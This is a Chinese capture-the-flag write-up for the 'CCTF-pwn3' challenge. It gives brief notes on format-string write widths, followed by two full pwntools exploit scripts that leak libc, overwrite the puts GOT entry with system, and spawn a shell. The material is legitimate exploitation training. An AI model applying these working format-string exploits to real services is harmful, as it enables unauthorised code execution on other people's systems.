CCTF-pwn3
收获:1.利用fmtster_payload()来构造,从而改变目标地址的数据
2.学会自己构造发送数据改变目标地址数据
3.不能一次改变完puts_got,程序会崩溃。可以一个一个字节来写
4.%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。
wp1:
利用fmtster_payload 来构造
from pwn import * context.log_level = 'debug' # context.arch = 'amd64' libc = ELF('./libc-2.23.so') file = './cctf_pwn3' elf = ELF(file) shellcode = asm(shellcraft.sh()) local = 1 if local: io = process(file) else: io = remote('node4.buuoj.cn',25727) def debug(): gdb.attach(io) def pack_file(_flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0, _IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0, _IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _IO_marker = 0, _IO_chain = 0, _fileno = 0, _lock = 0, _wide_data = 0, _mode = 0): file_struct = p32(_flags) + \ p32(0) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) file_struct = file_struct.ljust(0x88, b"\x00") file_struct += p64(_lock) file_struct = file_struct.ljust(0xa0, b"\x00") file_struct += p64(_wide_data) file_struct = file_struct.ljust(0xc0, b'\x00') file_struct += p64(_mode) file_struct = file_struct.ljust(0xd8, b"\x00") return file_struct r = lambda : io.recv() rx = lambda x: io.recv(x) ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) li = lambda name,x : log.info(name+':'+hex(x)) shell = lambda : io.interactive() ##username : rxraclhm def password(): ru('Rainism):') sl('rxraclhm') def get(name): ru('ftp>') sl('get') ru('enter the file name you want to get:') sl(name) def put(name,content): ru('ftp>') sl('put') ru('please enter the name of the file you want to upload:') sl(name) ru('then, enter the content:') sl(content) def dir(): ##show all names ru('ftp>') sl('dir') password() put('/sh','%6$p') get('/sh') ru('0x') libcbase = int(rx(8),16) - libc.sym['_IO_2_1_stdin_'] li('libcbase',libcbase) system = libcbase + libc.sym['system'] puts_got = elf.got['puts'] li('puts_got',puts_got) pay1 = fmtstr_payload(7, {puts_got:system}, numbwritten=0, write_size='byte') #7是输入值的偏移量,可以理解为将Puts_got输入后,需要偏移7才能改变里面的值 put('n',pay1) get('n') put('/bi','aaa') dir() shell() #debug()
wp2:
一个字节一个字节输入改变puts_got
from pwn import * context.log_level = 'debug' # context.arch = 'amd64' libc = ELF('./libc-2.23.so') file = './cctf_pwn3' elf = ELF(file) shellcode = asm(shellcraft.sh()) local = 1 if local: io = process(file) else: io = remote('node4.buuoj.cn',25727) def debug(): gdb.attach(io) def pack_file(_flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0, _IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0, _IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _IO_marker = 0, _IO_chain = 0, _fileno = 0, _lock = 0, _wide_data = 0, _mode = 0): file_struct = p32(_flags) + \ p32(0) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) file_struct = file_struct.ljust(0x88, b"\x00") file_struct += p64(_lock) file_struct = file_struct.ljust(0xa0, b"\x00") file_struct += p64(_wide_data) file_struct = file_struct.ljust(0xc0, b'\x00') file_struct += p64(_mode) file_struct = file_struct.ljust(0xd8, b"\x00") return file_struct r = lambda : io.recv() rx = lambda x: io.recv(x) ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) li = lambda name,x : log.info(name+':'+hex(x)) shell = lambda : io.interactive() ##username : rxraclhm def password(): ru('Rainism):') sl('rxraclhm') def get(name): ru('ftp>') sl('get') ru('enter the file name you want to get:') sl(name) def put(name,content): ru('ftp>') sl('put') ru('please enter the name of the file you want to upload:') sl(name) ru('then, enter the content:') sl(content) def dir(): ##show all names ru('ftp>') sl('dir') password() put('/sh','%6$p') get('/sh') ru('0x') libcbase = int(rx(8),16) - libc.sym['_IO_2_1_stdin_'] li('libcbase',libcbase) system = libcbase + libc.sym['system'] puts_got = elf.got['puts'] li('puts_got',puts_got) pay1 = p32(puts_got) + b"%" + str((system&0xff) - 4).encode() + b"x%7$hhn" put('n',pay1) get('n') pay2 = p32(puts_got+1) + b"%" + str(((system & 0xFF00)>>8)-4).encode() + b"x%7$hhn" put('i',pay2) get('i') pay3 = p32(puts_got+2) + b"%" + str(((system & 0xff0000) >> 16) - 4).encode() + b'x%7$hhn' put('/b',pay3) get('/b') dir() shell()